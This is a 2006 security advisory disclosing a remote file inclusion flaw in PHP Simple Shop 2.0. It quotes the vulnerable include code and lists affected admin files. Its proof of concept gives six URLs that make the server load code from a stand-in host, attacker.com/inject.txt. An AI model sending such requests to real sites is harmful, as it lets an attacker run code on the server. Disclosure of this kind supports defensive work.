[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion

ECHO_ADV_44$2006

[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion

Author : Ahmad Maulana a.k.a Matdhule
Date Found : August, 07th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

PHP Simple Shop

Application     : PHP Simple Shop
version         : Latest version [2.0]
URL             : http://www.turnkeywebtools.com/phpsimpleshop

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php
---------------------------index.php---------------------------------------
....
<?PHP
/*
  index.php - $DATE$ - $TIME$ - $VERSION$
  
  PHP Simple Shop
  http://www.turnkeywebtools.com/phpsimpleshop/
  
  Copyright (c) 2001-2005 Turnkey Web Tools, Inc.
*/

if (isset($abs_path) && $abs_path != "") {
    include $abs_path."admin/adminglobal.php";
} else {
    include "./adminglobal.php";
} 
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

adminindex.php
adminglobal.php
login.php
menu.php
header.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on affected files.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
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